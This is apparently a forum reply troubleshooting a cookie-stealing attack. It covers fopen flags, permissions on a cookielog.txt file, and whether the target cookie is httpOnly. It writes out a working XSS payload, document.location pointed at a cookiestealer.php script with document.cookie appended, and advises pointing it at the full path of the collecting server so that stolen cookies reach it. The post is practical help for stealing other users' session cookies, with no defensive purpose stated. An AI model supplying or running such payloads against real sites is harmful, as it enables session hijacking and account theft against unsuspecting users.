Okay here's a few things you should make sure of.
1. Since you're using fopen(), in some cases (but not this), make sure you read the "manual" http://php.net/manual/en/function.fopen.php
(People tend to set the wrong "flag", but 'a' is 100% correct in this case.
2. If the cookielog.txt file isn't created, what are the permissions for that particular directory? (644 would most likely not work, 755 would work, but this depends on who is set to own the directory as well.)
If the file is created, is the file cookielog.txt set to be writeable? (Otherwise nothing will be written to this file.)
3. More importantly, is the cookie you're trying to steal, httpOnly? Can you read it with alert(document.cookie) ? If yes, you should be able to steal it too then.
4. document.location = "/cookiestealer.php?cookie=" + document.cookie;
Make sure to include the full path, do not use "/cookiestealer.php" unless you're on the exact same server AND directory. Otherwise, you may end up trying to write to the wrong file. Use an intercepting proxy to see if your HTTP requests are going the right place.
Even though it seems like you did everything right, except perhaps giving cookielog.txt the right file permissions, or that the cookies could be httpOnly. (I haven't read all of the replies, sorry.